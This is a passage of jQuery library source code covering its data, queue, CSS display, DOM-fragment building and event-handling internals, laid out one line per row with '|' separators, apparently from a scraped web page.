return dataUser.hasData( elem ) || dataPriv.hasData( elem );
|
|
},
|
|
|
|
data: function( elem, name, data ) {
|
|
return dataUser.access( elem, name, data );
|
|
},
|
|
|
|
removeData: function( elem, name ) {
|
|
dataUser.remove( elem, name );
|
|
},
|
|
|
|
// TODO: Now that all calls to _data and _removeData have been replaced
|
|
// with direct calls to dataPriv methods, these can be deprecated.
|
|
_data: function( elem, name, data ) {
|
|
return dataPriv.access( elem, name, data );
|
|
},
|
|
|
|
_removeData: function( elem, name ) {
|
|
dataPriv.remove( elem, name );
|
|
}
|
|
} );
|
|
|
|
jQuery.fn.extend( {
|
|
data: function( key, value ) {
|
|
var i, name, data,
|
|
elem = this[ 0 ],
|
|
attrs = elem && elem.attributes;
|
|
|
|
// Gets all values
|
|
if ( key === undefined ) {
|
|
if ( this.length ) {
|
|
data = dataUser.get( elem );
|
|
|
|
if ( elem.nodeType === 1 && !dataPriv.get( elem, "hasDataAttrs" ) ) {
|
|
i = attrs.length;
|
|
while ( i-- ) {
|
|
|
|
// Support: IE 11 only
|
|
// The attrs elements can be null (#14894)
|
|
if ( attrs[ i ] ) {
|
|
name = attrs[ i ].name;
|
|
if ( name.indexOf( "data-" ) === 0 ) {
|
|
name = camelCase( name.slice( 5 ) );
|
|
dataAttr( elem, name, data[ name ] );
|
|
}
|
|
}
|
|
}
|
|
dataPriv.set( elem, "hasDataAttrs", true );
|
|
}
|
|
}
|
|
|
|
return data;
|
|
}
|
|
|
|
// Sets multiple values
|
|
if ( typeof key === "object" ) {
|
|
return this.each( function() {
|
|
dataUser.set( this, key );
|
|
} );
|
|
}
|
|
|
|
return access( this, function( value ) {
|
|
var data;
|
|
|
|
// The calling jQuery object (element matches) is not empty
|
|
// (and therefore has an element appears at this[ 0 ]) and the
|
|
// `value` parameter was not undefined. An empty jQuery object
|
|
// will result in `undefined` for elem = this[ 0 ] which will
|
|
// throw an exception if an attempt to read a data cache is made.
|
|
if ( elem && value === undefined ) {
|
|
|
|
// Attempt to get data from the cache
|
|
// The key will always be camelCased in Data
|
|
data = dataUser.get( elem, key );
|
|
if ( data !== undefined ) {
|
|
return data;
|
|
}
|
|
|
|
// Attempt to "discover" the data in
|
|
// HTML5 custom data-* attrs
|
|
data = dataAttr( elem, key );
|
|
if ( data !== undefined ) {
|
|
return data;
|
|
}
|
|
|
|
// We tried really hard, but the data doesn't exist.
|
|
return;
|
|
}
|
|
|
|
// Set the data...
|
|
this.each( function() {
|
|
|
|
// We always store the camelCased key
|
|
dataUser.set( this, key, value );
|
|
} );
|
|
}, null, value, arguments.length > 1, null, true );
|
|
},
|
|
|
|
removeData: function( key ) {
|
|
return this.each( function() {
|
|
dataUser.remove( this, key );
|
|
} );
|
|
}
|
|
} );
|
|
|
|
|
|
jQuery.extend( {
|
|
queue: function( elem, type, data ) {
|
|
var queue;
|
|
|
|
if ( elem ) {
|
|
type = ( type || "fx" ) + "queue";
|
|
queue = dataPriv.get( elem, type );
|
|
|
|
// Speed up dequeue by getting out quickly if this is just a lookup
|
|
if ( data ) {
|
|
if ( !queue || Array.isArray( data ) ) {
|
|
queue = dataPriv.access( elem, type, jQuery.makeArray( data ) );
|
|
} else {
|
|
queue.push( data );
|
|
}
|
|
}
|
|
return queue || [];
|
|
}
|
|
},
|
|
|
|
dequeue: function( elem, type ) {
|
|
type = type || "fx";
|
|
|
|
var queue = jQuery.queue( elem, type ),
|
|
startLength = queue.length,
|
|
fn = queue.shift(),
|
|
hooks = jQuery._queueHooks( elem, type ),
|
|
next = function() {
|
|
jQuery.dequeue( elem, type );
|
|
};
|
|
|
|
// If the fx queue is dequeued, always remove the progress sentinel
|
|
if ( fn === "inprogress" ) {
|
|
fn = queue.shift();
|
|
startLength--;
|
|
}
|
|
|
|
if ( fn ) {
|
|
|
|
// Add a progress sentinel to prevent the fx queue from being
|
|
// automatically dequeued
|
|
if ( type === "fx" ) {
|
|
queue.unshift( "inprogress" );
|
|
}
|
|
|
|
// Clear up the last queue stop function
|
|
delete hooks.stop;
|
|
fn.call( elem, next, hooks );
|
|
}
|
|
|
|
if ( !startLength && hooks ) {
|
|
hooks.empty.fire();
|
|
}
|
|
},
|
|
|
|
// Not public - generate a queueHooks object, or return the current one
|
|
_queueHooks: function( elem, type ) {
|
|
var key = type + "queueHooks";
|
|
return dataPriv.get( elem, key ) || dataPriv.access( elem, key, {
|
|
empty: jQuery.Callbacks( "once memory" ).add( function() {
|
|
dataPriv.remove( elem, [ type + "queue", key ] );
|
|
} )
|
|
} );
|
|
}
|
|
} );
|
|
|
|
jQuery.fn.extend( {
|
|
queue: function( type, data ) {
|
|
var setter = 2;
|
|
|
|
if ( typeof type !== "string" ) {
|
|
data = type;
|
|
type = "fx";
|
|
setter--;
|
|
}
|
|
|
|
if ( arguments.length < setter ) {
|
|
return jQuery.queue( this[ 0 ], type );
|
|
}
|
|
|
|
return data === undefined ?
|
|
this :
|
|
this.each( function() {
|
|
var queue = jQuery.queue( this, type, data );
|
|
|
|
// Ensure a hooks for this queue
|
|
jQuery._queueHooks( this, type );
|
|
|
|
if ( type === "fx" && queue[ 0 ] !== "inprogress" ) {
|
|
jQuery.dequeue( this, type );
|
|
}
|
|
} );
|
|
},
|
|
dequeue: function( type ) {
|
|
return this.each( function() {
|
|
jQuery.dequeue( this, type );
|
|
} );
|
|
},
|
|
clearQueue: function( type ) {
|
|
return this.queue( type || "fx", [] );
|
|
},
|
|
|
|
// Get a promise resolved when queues of a certain type
|
|
// are emptied (fx is the type by default)
|
|
promise: function( type, obj ) {
|
|
var tmp,
|
|
count = 1,
|
|
defer = jQuery.Deferred(),
|
|
elements = this,
|
|
i = this.length,
|
|
resolve = function() {
|
|
if ( !( --count ) ) {
|
|
defer.resolveWith( elements, [ elements ] );
|
|
}
|
|
};
|
|
|
|
if ( typeof type !== "string" ) {
|
|
obj = type;
|
|
type = undefined;
|
|
}
|
|
type = type || "fx";
|
|
|
|
while ( i-- ) {
|
|
tmp = dataPriv.get( elements[ i ], type + "queueHooks" );
|
|
if ( tmp && tmp.empty ) {
|
|
count++;
|
|
tmp.empty.add( resolve );
|
|
}
|
|
}
|
|
resolve();
|
|
return defer.promise( obj );
|
|
}
|
|
} );
|
|
var pnum = ( /[+-]?(?:\d*\.|)\d+(?:[eE][+-]?\d+|)/ ).source;
|
|
|
|
var rcssNum = new RegExp( "^(?:([+-])=|)(" + pnum + ")([a-z%]*)$", "i" );
|
|
|
|
|
|
var cssExpand = [ "Top", "Right", "Bottom", "Left" ];
|
|
|
|
var isHiddenWithinTree = function( elem, el ) {
|
|
|
|
// isHiddenWithinTree might be called from jQuery#filter function;
|
|
// in that case, element will be second argument
|
|
elem = el || elem;
|
|
|
|
// Inline style trumps all
|
|
return elem.style.display === "none" ||
|
|
elem.style.display === "" &&
|
|
|
|
// Otherwise, check computed style
|
|
// Support: Firefox <=43 - 45
|
|
// Disconnected elements can have computed display: none, so first confirm that elem is
|
|
// in the document.
|
|
jQuery.contains( elem.ownerDocument, elem ) &&
|
|
|
|
jQuery.css( elem, "display" ) === "none";
|
|
};
|
|
|
|
var swap = function( elem, options, callback, args ) {
|
|
var ret, name,
|
|
old = {};
|
|
|
|
// Remember the old values, and insert the new ones
|
|
for ( name in options ) {
|
|
old[ name ] = elem.style[ name ];
|
|
elem.style[ name ] = options[ name ];
|
|
}
|
|
|
|
ret = callback.apply( elem, args || [] );
|
|
|
|
// Revert the old values
|
|
for ( name in options ) {
|
|
elem.style[ name ] = old[ name ];
|
|
}
|
|
|
|
return ret;
|
|
};
|
|
|
|
|
|
|
|
|
|
function adjustCSS( elem, prop, valueParts, tween ) {
|
|
var adjusted, scale,
|
|
maxIterations = 20,
|
|
currentValue = tween ?
|
|
function() {
|
|
return tween.cur();
|
|
} :
|
|
function() {
|
|
return jQuery.css( elem, prop, "" );
|
|
},
|
|
initial = currentValue(),
|
|
unit = valueParts && valueParts[ 3 ] || ( jQuery.cssNumber[ prop ] ? "" : "px" ),
|
|
|
|
// Starting value computation is required for potential unit mismatches
|
|
initialInUnit = ( jQuery.cssNumber[ prop ] || unit !== "px" && +initial ) &&
|
|
rcssNum.exec( jQuery.css( elem, prop ) );
|
|
|
|
if ( initialInUnit && initialInUnit[ 3 ] !== unit ) {
|
|
|
|
// Support: Firefox <=54
|
|
// Halve the iteration target value to prevent interference from CSS upper bounds (gh-2144)
|
|
initial = initial / 2;
|
|
|
|
// Trust units reported by jQuery.css
|
|
unit = unit || initialInUnit[ 3 ];
|
|
|
|
// Iteratively approximate from a nonzero starting point
|
|
initialInUnit = +initial || 1;
|
|
|
|
while ( maxIterations-- ) {
|
|
|
|
// Evaluate and update our best guess (doubling guesses that zero out).
|
|
// Finish if the scale equals or crosses 1 (making the old*new product non-positive).
|
|
jQuery.style( elem, prop, initialInUnit + unit );
|
|
if ( ( 1 - scale ) * ( 1 - ( scale = currentValue() / initial || 0.5 ) ) <= 0 ) {
|
|
maxIterations = 0;
|
|
}
|
|
initialInUnit = initialInUnit / scale;
|
|
|
|
}
|
|
|
|
initialInUnit = initialInUnit * 2;
|
|
jQuery.style( elem, prop, initialInUnit + unit );
|
|
|
|
// Make sure we update the tween properties later on
|
|
valueParts = valueParts || [];
|
|
}
|
|
|
|
if ( valueParts ) {
|
|
initialInUnit = +initialInUnit || +initial || 0;
|
|
|
|
// Apply relative offset (+=/-=) if specified
|
|
adjusted = valueParts[ 1 ] ?
|
|
initialInUnit + ( valueParts[ 1 ] + 1 ) * valueParts[ 2 ] :
|
|
+valueParts[ 2 ];
|
|
if ( tween ) {
|
|
tween.unit = unit;
|
|
tween.start = initialInUnit;
|
|
tween.end = adjusted;
|
|
}
|
|
}
|
|
return adjusted;
|
|
}
|
|
|
|
|
|
var defaultDisplayMap = {};
|
|
|
|
function getDefaultDisplay( elem ) {
|
|
var temp,
|
|
doc = elem.ownerDocument,
|
|
nodeName = elem.nodeName,
|
|
display = defaultDisplayMap[ nodeName ];
|
|
|
|
if ( display ) {
|
|
return display;
|
|
}
|
|
|
|
temp = doc.body.appendChild( doc.createElement( nodeName ) );
|
|
display = jQuery.css( temp, "display" );
|
|
|
|
temp.parentNode.removeChild( temp );
|
|
|
|
if ( display === "none" ) {
|
|
display = "block";
|
|
}
|
|
defaultDisplayMap[ nodeName ] = display;
|
|
|
|
return display;
|
|
}
|
|
|
|
function showHide( elements, show ) {
|
|
var display, elem,
|
|
values = [],
|
|
index = 0,
|
|
length = elements.length;
|
|
|
|
// Determine new display value for elements that need to change
|
|
for ( ; index < length; index++ ) {
|
|
elem = elements[ index ];
|
|
if ( !elem.style ) {
|
|
continue;
|
|
}
|
|
|
|
display = elem.style.display;
|
|
if ( show ) {
|
|
|
|
// Since we force visibility upon cascade-hidden elements, an immediate (and slow)
|
|
// check is required in this first loop unless we have a nonempty display value (either
|
|
// inline or about-to-be-restored)
|
|
if ( display === "none" ) {
|
|
values[ index ] = dataPriv.get( elem, "display" ) || null;
|
|
if ( !values[ index ] ) {
|
|
elem.style.display = "";
|
|
}
|
|
}
|
|
if ( elem.style.display === "" && isHiddenWithinTree( elem ) ) {
|
|
values[ index ] = getDefaultDisplay( elem );
|
|
}
|
|
} else {
|
|
if ( display !== "none" ) {
|
|
values[ index ] = "none";
|
|
|
|
// Remember what we're overwriting
|
|
dataPriv.set( elem, "display", display );
|
|
}
|
|
}
|
|
}
|
|
|
|
// Set the display of the elements in a second loop to avoid constant reflow
|
|
for ( index = 0; index < length; index++ ) {
|
|
if ( values[ index ] != null ) {
|
|
elements[ index ].style.display = values[ index ];
|
|
}
|
|
}
|
|
|
|
return elements;
|
|
}
|
|
|
|
jQuery.fn.extend( {
|
|
show: function() {
|
|
return showHide( this, true );
|
|
},
|
|
hide: function() {
|
|
return showHide( this );
|
|
},
|
|
toggle: function( state ) {
|
|
if ( typeof state === "boolean" ) {
|
|
return state ? this.show() : this.hide();
|
|
}
|
|
|
|
return this.each( function() {
|
|
if ( isHiddenWithinTree( this ) ) {
|
|
jQuery( this ).show();
|
|
} else {
|
|
jQuery( this ).hide();
|
|
}
|
|
} );
|
|
}
|
|
} );
|
|
var rcheckableType = ( /^(?:checkbox|radio)$/i );
|
|
|
|
var rtagName = ( /<([a-z][^\/\0>\x20\t\r\n\f]+)/i );
|
|
|
|
var rscriptType = ( /^$|^module$|\/(?:java|ecma)script/i );
|
|
|
|
|
|
|
|
// We have to close these tags to support XHTML (#13200)
|
|
var wrapMap = {
|
|
|
|
// Support: IE <=9 only
|
|
option: [ 1, "<select multiple='multiple'>", "</select>" ],
|
|
|
|
// XHTML parsers do not magically insert elements in the
|
|
// same way that tag soup parsers do. So we cannot shorten
|
|
// this by omitting <tbody> or other required elements.
|
|
thead: [ 1, "<table>", "</table>" ],
|
|
col: [ 2, "<table><colgroup>", "</colgroup></table>" ],
|
|
tr: [ 2, "<table><tbody>", "</tbody></table>" ],
|
|
td: [ 3, "<table><tbody><tr>", "</tr></tbody></table>" ],
|
|
|
|
_default: [ 0, "", "" ]
|
|
};
|
|
|
|
// Support: IE <=9 only
|
|
wrapMap.optgroup = wrapMap.option;
|
|
|
|
wrapMap.tbody = wrapMap.tfoot = wrapMap.colgroup = wrapMap.caption = wrapMap.thead;
|
|
wrapMap.th = wrapMap.td;
|
|
|
|
|
|
function getAll( context, tag ) {
|
|
|
|
// Support: IE <=9 - 11 only
|
|
// Use typeof to avoid zero-argument method invocation on host objects (#15151)
|
|
var ret;
|
|
|
|
if ( typeof context.getElementsByTagName !== "undefined" ) {
|
|
ret = context.getElementsByTagName( tag || "*" );
|
|
|
|
} else if ( typeof context.querySelectorAll !== "undefined" ) {
|
|
ret = context.querySelectorAll( tag || "*" );
|
|
|
|
} else {
|
|
ret = [];
|
|
}
|
|
|
|
if ( tag === undefined || tag && nodeName( context, tag ) ) {
|
|
return jQuery.merge( [ context ], ret );
|
|
}
|
|
|
|
return ret;
|
|
}
|
|
|
|
|
|
// Mark scripts as having already been evaluated
|
|
function setGlobalEval( elems, refElements ) {
|
|
var i = 0,
|
|
l = elems.length;
|
|
|
|
for ( ; i < l; i++ ) {
|
|
dataPriv.set(
|
|
elems[ i ],
|
|
"globalEval",
|
|
!refElements || dataPriv.get( refElements[ i ], "globalEval" )
|
|
);
|
|
}
|
|
}
|
|
|
|
|
|
var rhtml = /<|&#?\w+;/;
|
|
|
|
function buildFragment( elems, context, scripts, selection, ignored ) {
|
|
var elem, tmp, tag, wrap, contains, j,
|
|
fragment = context.createDocumentFragment(),
|
|
nodes = [],
|
|
i = 0,
|
|
l = elems.length;
|
|
|
|
for ( ; i < l; i++ ) {
|
|
elem = elems[ i ];
|
|
|
|
if ( elem || elem === 0 ) {
|
|
|
|
// Add nodes directly
|
|
if ( toType( elem ) === "object" ) {
|
|
|
|
// Support: Android <=4.0 only, PhantomJS 1 only
|
|
// push.apply(_, arraylike) throws on ancient WebKit
|
|
jQuery.merge( nodes, elem.nodeType ? [ elem ] : elem );
|
|
|
|
// Convert non-html into a text node
|
|
} else if ( !rhtml.test( elem ) ) {
|
|
nodes.push( context.createTextNode( elem ) );
|
|
|
|
// Convert html into DOM nodes
|
|
} else {
|
|
tmp = tmp || fragment.appendChild( context.createElement( "div" ) );
|
|
|
|
// Deserialize a standard representation
|
|
tag = ( rtagName.exec( elem ) || [ "", "" ] )[ 1 ].toLowerCase();
|
|
wrap = wrapMap[ tag ] || wrapMap._default;
|
|
tmp.innerHTML = wrap[ 1 ] + jQuery.htmlPrefilter( elem ) + wrap[ 2 ];
|
|
|
|
// Descend through wrappers to the right content
|
|
j = wrap[ 0 ];
|
|
while ( j-- ) {
|
|
tmp = tmp.lastChild;
|
|
}
|
|
|
|
// Support: Android <=4.0 only, PhantomJS 1 only
|
|
// push.apply(_, arraylike) throws on ancient WebKit
|
|
jQuery.merge( nodes, tmp.childNodes );
|
|
|
|
// Remember the top-level container
|
|
tmp = fragment.firstChild;
|
|
|
|
// Ensure the created nodes are orphaned (#12392)
|
|
tmp.textContent = "";
|
|
}
|
|
}
|
|
}
|
|
|
|
// Remove wrapper from fragment
|
|
fragment.textContent = "";
|
|
|
|
i = 0;
|
|
while ( ( elem = nodes[ i++ ] ) ) {
|
|
|
|
// Skip elements already in the context collection (trac-4087)
|
|
if ( selection && jQuery.inArray( elem, selection ) > -1 ) {
|
|
if ( ignored ) {
|
|
ignored.push( elem );
|
|
}
|
|
continue;
|
|
}
|
|
|
|
contains = jQuery.contains( elem.ownerDocument, elem );
|
|
|
|
// Append to fragment
|
|
tmp = getAll( fragment.appendChild( elem ), "script" );
|
|
|
|
// Preserve script evaluation history
|
|
if ( contains ) {
|
|
setGlobalEval( tmp );
|
|
}
|
|
|
|
// Capture executables
|
|
if ( scripts ) {
|
|
j = 0;
|
|
while ( ( elem = tmp[ j++ ] ) ) {
|
|
if ( rscriptType.test( elem.type || "" ) ) {
|
|
scripts.push( elem );
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
return fragment;
|
|
}
|
|
|
|
|
|
( function() {
|
|
var fragment = document.createDocumentFragment(),
|
|
div = fragment.appendChild( document.createElement( "div" ) ),
|
|
input = document.createElement( "input" );
|
|
|
|
// Support: Android 4.0 - 4.3 only
|
|
// Check state lost if the name is set (#11217)
|
|
// Support: Windows Web Apps (WWA)
|
|
// `name` and `type` must use .setAttribute for WWA (#14901)
|
|
input.setAttribute( "type", "radio" );
|
|
input.setAttribute( "checked", "checked" );
|
|
input.setAttribute( "name", "t" );
|
|
|
|
div.appendChild( input );
|
|
|
|
// Support: Android <=4.1 only
|
|
// Older WebKit doesn't clone checked state correctly in fragments
|
|
support.checkClone = div.cloneNode( true ).cloneNode( true ).lastChild.checked;
|
|
|
|
// Support: IE <=11 only
|
|
// Make sure textarea (and checkbox) defaultValue is properly cloned
|
|
div.innerHTML = "<textarea>x</textarea>";
|
|
support.noCloneChecked = !!div.cloneNode( true ).lastChild.defaultValue;
|
|
} )();
|
|
var documentElement = document.documentElement;
|
|
|
|
|
|
|
|
var
|
|
rkeyEvent = /^key/,
|
|
rmouseEvent = /^(?:mouse|pointer|contextmenu|drag|drop)|click/,
|
|
rtypenamespace = /^([^.]*)(?:\.(.+)|)/;
|
|
|
|
function returnTrue() {
|
|
return true;
|
|
}
|
|
|
|
function returnFalse() {
|
|
return false;
|
|
}
|
|
|
|
// Support: IE <=9 only
|
|
// See #13393 for more info
|
|
function safeActiveElement() {
|
|
try {
|
|
return document.activeElement;
|
|
} catch ( err ) { }
|
|
}
|
|
|
|
function on( elem, types, selector, data, fn, one ) {
|
|
var origFn, type;
|
|
|
|
// Types can be a map of types/handlers
|
|
if ( typeof types === "object" ) {
|
|
|
|
// ( types-Object, selector, data )
|
|
if ( typeof selector !== "string" ) {
|
|
|
|
// ( types-Object, data )
|
|
data = data || selector;
|
|
selector = undefined;
|
|
}
|
|
for ( type in types ) {
|
|
on( elem, type, selector, data, types[ type ], one );
|
|
}
|
|
return elem;
|
|
}
|
|
|
|
if ( data == null && fn == null ) {
|
|
|
|
// ( types, fn )
|
|
fn = selector;
|
|
data = selector = undefined;
|
|
} else if ( fn == null ) {
|
|
if ( typeof selector === "string" ) {
|
|
|
|
// ( types, selector, fn )
|
|
fn = data;
|
|
data = undefined;
|
|
} else {
|
|
|
|
// ( types, data, fn )
|
|
fn = data;
|
|
data = selector;
|
|
selector = undefined;
|
|
}
|
|
}
|
|
if ( fn === false ) {
|
|
fn = returnFalse;
|
|
} else if ( !fn ) {
|
|
return elem;
|
|
}
|
|
|
|
if ( one === 1 ) {
|
|
origFn = fn;
|
|
fn = function( event ) {
|
|
|
|
// Can use an empty set, since event contains the info
|
|
jQuery().off( event );
|
|
return origFn.apply( this, arguments );
|
|
};
|
|
|
|
// Use same guid so caller can remove using origFn
|
|
fn.guid = origFn.guid || ( origFn.guid = jQuery.guid++ );
|
|
}
|
|
return elem.each( function() {
|
|
jQuery.event.add( this, types, fn, data, selector );
|
|
} );
|
|
}
|
|
|
|
/*
|
|
* Helper functions for managing events -- not part of the public interface.
|
|
* Props to Dean Edwards' addEvent library for many of the ideas.
|
|
*/
|
|
jQuery.event = {
|
|
|
|
global: {},
|
|
|
|
add: function( elem, types, handler, data, selector ) {
|
|
|
|
var handleObjIn, eventHandle, tmp,
|
|
events, t, handleObj,
|
|
special, handlers, type, namespaces, origType,
|
|
elemData = dataPriv.get( elem );
|
|
|
|
// Don't attach events to noData or text/comment nodes (but allow plain objects)
|
|
if ( !elemData ) {
|
|
return;
|
|
}
|
|
|
|
// Caller can pass in an object of custom data in lieu of the handler
|
|
if ( handler.handler ) {
|
|
handleObjIn = handler;
|
|
handler = handleObjIn.handler;
|
|
selector = handleObjIn.selector;
|
|
}
|
|
|
|
// Ensure that invalid selectors throw exceptions at attach time
|
|
// Evaluate against documentElement in case elem is a non-element node (e.g., document)
|
|
if ( selector ) {
|
|
jQuery.find.matchesSelector( documentElement, selector );
|
|
}
|
|
|
|
// Make sure that the handler has a unique ID, used to find/remove it later
|
|
if ( !handler.guid ) {
|
|
handler.guid = jQuery.guid++;
|
|
}
|
|
|
|
// Init the element's event structure and main handler, if this is the first
|
|
if ( !( events = elemData.events ) ) {
|
|
events = elemData.events = {};
|
|
}
|
|
if ( !( eventHandle = elemData.handle ) ) {
|
|
eventHandle = elemData.handle = function( e ) {
|
|
|
|
// Discard the second event of a jQuery.event.trigger() and
|
|
// when an event is called after a page has unloaded
|
|
return typeof jQuery !== "undefined" && jQuery.event.triggered !== e.type ?
|
|
jQuery.event.dispatch.apply( elem, arguments ) : undefined;
|
|
};
|
|
}
|
|
|
|
// Handle multiple events separated by a space
|
|
types = ( types || "" ).match( rnothtmlwhite ) || [ "" ];
|
|
t = types.length;
|
|
while ( t-- ) {
|
|
tmp = rtypenamespace.exec( types[ t ] ) || [];
|
|
type = origType = tmp[ 1 ];
|
|
namespaces = ( tmp[ 2 ] || "" ).split( "." ).sort();
|
|
|
|
// There *must* be a type, no attaching namespace-only handlers
|
|
if ( !type ) {
|
|
continue;
|
|
}
|
|
|
|
// If event changes its type, use the special event handlers for the changed type
|
|
special = jQuery.event.special[ type ] || {};
|
|
|
|
// If selector defined, determine special event api type, otherwise given type
|
|
type = ( selector ? special.delegateType : special.bindType ) || type;
|
|
|
|
// Update special based on newly reset type
|
|
special = jQuery.event.special[ type ] || {};
|
|
|
|
// handleObj is passed to all event handlers
|
|
handleObj = jQuery.extend( {
|
|
type: type,
|
|
origType: origType,
|
|
data: data,
|
|
handler: handler,
|
|
guid: handler.guid,
|
|
selector: selector,
|
|
needsContext: selector && jQuery.expr.match.needsContext.test( selector ),
|
|
namespace: namespaces.join( "." )
|
|
}, handleObjIn );
|
|
|
|
// Init the event handler queue if we're the first
|
|
if ( !( handlers = events[ type ] ) ) {
|
|
handlers = events[ type ] = [];
|
|
handlers.delegateCount = 0;
|
|
|
|
// Only use addEventListener if the special events handler returns false
|
|
if ( !special.setup ||
|
|
special.setup.call( elem, data, namespaces, eventHandle ) === false ) {
|
|
|
|
if ( elem.addEventListener ) {
|
|
elem.addEventListener( type, eventHandle );
|
|
}
|
|
}
|
|
}
|
|
|
|
if ( special.add ) {
|
|
special.add.call( elem, handleObj );
|
|
|
|
if ( !handleObj.handler.guid ) {
|
|
handleObj.handler.guid = handler.guid;
|
|
}
|
|
}
|
|
|
|
// Add to the element's handler list, delegates in front
|
|
if ( selector ) {
|
|
handlers.splice( handlers.delegateCount++, 0, handleObj );
|
|
} else {
|
|
handlers.push( handleObj );
|
|
}
|
|
|
|
// Keep track of which events have ever been used, for event optimization
|
|
jQuery.event.global[ type ] = true;
|
|
}
|
|
|
|
},
|
|
|
|
// Detach an event or set of events from an element
|
|
remove: function( elem, types, handler, selector, mappedTypes ) {
|
|
|
|
var j, origCount, tmp,
|
|
events, t, handleObj,
|
|
special, handlers, type, namespaces, origType,
|
|
elemData = dataPriv.hasData( elem ) && dataPriv.get( elem );
|
|
|
|
if ( !elemData || !( events = elemData.events ) ) {
|
|
return;
|
|
}
|
|
|
|
// Once for each type.namespace in types; type may be omitted
|
|
types = ( types || "" ).match( rnothtmlwhite ) || [ "" ];
|
|
t = types.length;
|
|
while ( t-- ) {
|
|
tmp = rtypenamespace.exec( types[ t ] ) || [];
|
|
type = origType = tmp[ 1 ];
|
|
namespaces = ( tmp[ 2 ] || "" ).split( "." ).sort();
|
|
|
|
// Unbind all events (on this namespace, if provided) for the element
|
|
if ( !type ) {
|
|
for ( type in events ) {
|
|
jQuery.event.remove( elem, type + types[ t ], handler, selector, true );
|
|
}
|
|
continue;
|
|
}
|
|
|
|
special = jQuery.event.special[ type ] || {};
|
|
type = ( selector ? special.delegateType : special.bindType ) || type;
|
|
handlers = events[ type ] || [];
|
|
tmp = tmp[ 2 ] &&
|
|
new RegExp( "(^|\\.)" + namespaces.join( "\\.(?:.*\\.|)" ) + "(\\.|$)" );
|
|
|
|
// Remove matching events
|
|
origCount = j = handlers.length;
|
|
while ( j-- ) {
|
|
handleObj = handlers[ j ];
|
|
|
|
if ( ( mappedTypes || origType === handleObj.origType ) &&
|
|
( !handler || handler.guid === handleObj.guid ) &&
|
|
( !tmp || tmp.test( handleObj.namespace ) ) &&
|
|
( !selector || selector === handleObj.selector ||
|
|
selector === "**" && handleObj.selector ) ) {
|
|
handlers.splice( j, 1 );
|
|
|
|
if ( handleObj.selector ) {
|
|
handlers.delegateCount--;
|
|
}
|
|
if ( special.remove ) {
|
|
special.remove.call( elem, handleObj );
|
|
}
|
|
}
|
|
}
|
|
|
|
// Remove generic event handler if we removed something and no more handlers exist
|
|
// (avoids potential for endless recursion during removal of special event handlers)
|
|
if ( origCount && !handlers.length ) {
|
|
if ( !special.teardown ||
|
|
special.teardown.call( elem, namespaces, elemData.handle ) === false ) {
|
|
|
|
jQuery.removeEvent( elem, type, elemData.handle );
|
|
}
|
|
|
|
delete events[ type ];
|
|
}
|
|
}
|
|
|
|
// Remove data and the expando if it's no longer used
|
|
if ( jQuery.isEmptyObject( events ) ) {
|
|
dataPriv.remove( elem, "handle events" );
|
|
}
|
|
},
|
|
|
|
dispatch: function( nativeEvent ) {
|
|
|
|
// Make a writable jQuery.Event from the native event object
|
|
var event = jQuery.event.fix( nativeEvent );
|
|
|
|
var i, j, ret, matched, handleObj, handlerQueue,
|
|
args = new Array( arguments.length ),
|
|
handlers = ( dataPriv.get( this, "events" ) || {} )[ event.type ] || [],
|
|
special = jQuery.event.special[ event.type ] || {};
|
|
|
|
// Use the fix-ed jQuery.Event rather than the (read-only) native event
|
|
args[ 0 ] = event;
|
|
|
|
for ( i = 1; i < arguments.length; i++ ) {
|
|
args[ i ] = arguments[ i ];
|
|
}
|
|
|
|
event.delegateTarget = this;
|
|
|
|
// Call the preDispatch hook for the mapped type, and let it bail if desired
|
|
if ( special.preDispatch && special.preDispatch.call( this, event ) === false ) {
|
|
return;
|
|
}
|
|
|
|
// Determine handlers
|
|
handlerQueue = jQuery.event.handlers.call( this, event, handlers );
|
|
|
|
// Run delegates first; they may want to stop propagation beneath us
|
|
i = 0;
|
|
while ( ( matched = handlerQueue[ i++ ] ) && !event.isPropagationStopped() ) {
|
|
event.currentTarget = matched.elem;
|
|
|
|
j = 0;
|
|
while ( ( handleObj = matched.handlers[ j++ ] ) &&
|
|
!event.isImmediatePropagationStopped() ) {
|
|
|
|
// Triggered event must either 1) have no namespace, or 2) have namespace(s)
|
|
// a subset or equal to those in the bound event (both can have no namespace).
|
|
if ( !event.rnamespace || event.rnamespace.test( handleObj.namespace ) ) {
|
|
|
|
event.handleObj = handleObj;
|
|
event.data = handleObj.data;
|
|
|
|
ret = ( ( jQuery.event.special[ handleObj.origType ] || {} ).handle ||
|
|
handleObj.handler ).apply( matched.elem, args );
|
|
|
|
if ( ret !== undefined ) {
|
|
if ( ( event.result = ret ) === false ) {
|
|
event.preventDefault();
|
|
event.stopPropagation();
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
// Call the postDispatch hook for the mapped type
|
|
if ( special.postDispatch ) {
|
|
special.postDispatch.call( this, event );
|
|
}
|
|
|
|
return event.result;
|
|
},
|
|
|
|
handlers: function( event, handlers ) {
|
|
var i, handleObj, sel, matchedHandlers, matchedSelectors,
|
|
handlerQueue = [],
|
|
delegateCount = handlers.delegateCount,
|
|
cur = event.target;
|
|
|
|
// Find delegate handlers
|
|
if ( delegateCount &&
|
|
|
|
// Support: IE <=9
|
|
// Black-hole SVG <use> instance trees (trac-13180)
|
|
cur.nodeType &&
|
|
|
|
// Support: Firefox <=42
|
|
// Suppress spec-violating clicks indicating a non-primary pointer button (trac-3861)
|
|
// https://www.w3.org/TR/DOM-Level-3-Events/#event-type-click
|
|
// Support: IE 11 only
|
|
// ...but not arrow key "clicks" of radio inputs, which can have `button` -1 (gh-2343)
|
|
!( event.type === "click" && event.button >= 1 ) ) {
|
|
|
|
for ( ; cur !== this; cur = cur.parentNode || this ) {
|
|
|
|
// Don't check non-elements (#13208)
|
|
// Don't process clicks on disabled elements (#6911, #8165, #11382, #11764)
|
|
if ( cur.nodeType === 1 && !( event.type === "click" && cur.disabled === true ) ) {
|
|
matchedHandlers = [];
|
|
matchedSelectors = {};
|
|
for ( i = 0; i < delegateCount; i++ ) {
|
|
handleObj = handlers[ i ];
|
|
|
|
// Don't conflict with Object.prototype properties (#13203)
|
|
sel = handleObj.selector + " ";
|
|
|
|
if ( matchedSelectors[ sel ] === undefined ) {
|
|
matchedSelectors[ sel ] = handleObj.needsContext ?
|
|
jQuery( sel, this ).index( cur ) > -1 :
|
|
jQuery.find( sel, this, null, [ cur ] ).length;
|
|
}
|
|
if ( matchedSelectors[ sel ] ) {
|
|
matchedHandlers.push( handleObj );
|
|
}
|
|
}
|
|
